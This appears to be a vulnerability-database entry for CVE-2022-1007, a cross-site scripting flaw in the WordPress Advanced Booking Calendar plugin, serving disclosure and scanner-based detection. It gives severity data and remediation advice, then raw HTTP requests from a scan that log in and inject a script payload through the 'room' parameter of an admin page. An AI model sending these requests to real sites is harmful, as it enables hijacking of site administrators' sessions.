| Title | WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting |
|---|---|
| Author | 8arthur |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform actions on behalf of the user. |
| Remediation | Update to WordPress Advanced Booking Calendar plugin version 1.7.1 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.03683 |
| CVE ID | CVE-2022-1007 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wp-plugin advanced-booking-calendar wp authenticated wpscan wordpress xss elbtide vuln |
WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=wFdBYk&pwd=231WmC&wp-submit=Log+In
GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1007.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-1007.pcap
N/AN/A